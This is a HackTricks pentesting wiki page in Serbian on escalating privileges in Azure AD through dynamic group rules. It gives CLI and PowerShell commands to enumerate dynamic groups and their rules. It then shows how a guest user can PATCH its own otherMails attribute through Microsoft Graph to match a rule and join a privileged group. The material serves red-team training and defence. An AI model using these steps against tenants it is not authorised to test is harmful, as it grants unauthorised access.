Az - Dynamic Groups Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Dinamičke grupe su grupe koje imaju podešen skup pravila, i svi korisnici ili uređaji koji se poklapaju sa tim pravilima bivaju dodati u grupu. Svaki put kad se atribut korisnika ili uređaja promeni, dinamička pravila se ponovo proveravaju. I kada se novo pravilo kreira, svi uređaji i korisnici se provere.

Dinamičkim grupama se mogu dodeliti Azure RBAC roles, ali nije moguće dodati AzureAD roles dinamičkim grupama.

Ova funkcija zahteva Azure AD premium P1 licencu.

Privesc

Imajte na umu da po defaultu bilo koji korisnik može pozvati goste u Azure AD, tako da, ako dinamičko grupno pravilo dodeljuje dozvole korisnicima na osnovu atributa koji se mogu podesiti kod novog gosta, moguće je kreirati gosta sa tim atributima i eskalirati privilegije. Takođe je moguće da gost upravlja svojim profilom i menja ove atribute.

Dobijte grupe koje omogućavaju Dynamic membership: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Enumeracija dinamičkih grupa

Preuzmite pravila dinamičke grupe:

With Azure CLI:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

Pomoću PowerShell i Microsoft Graph SDK:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Primer

  • Primer pravila: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Opis pravila: Bilo koji gostujući korisnik koji u sekundarnom e-mailu ima tekst ‘security’ biće dodat u grupu

Za e-mail gostujućeg korisnika, prihvatite pozivnicu i proverite trenutna podešavanja tog korisnika na https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Nažalost, stranica ne dozvoljava izmenu vrednosti atributa, pa moramo koristiti API:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Referencije

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks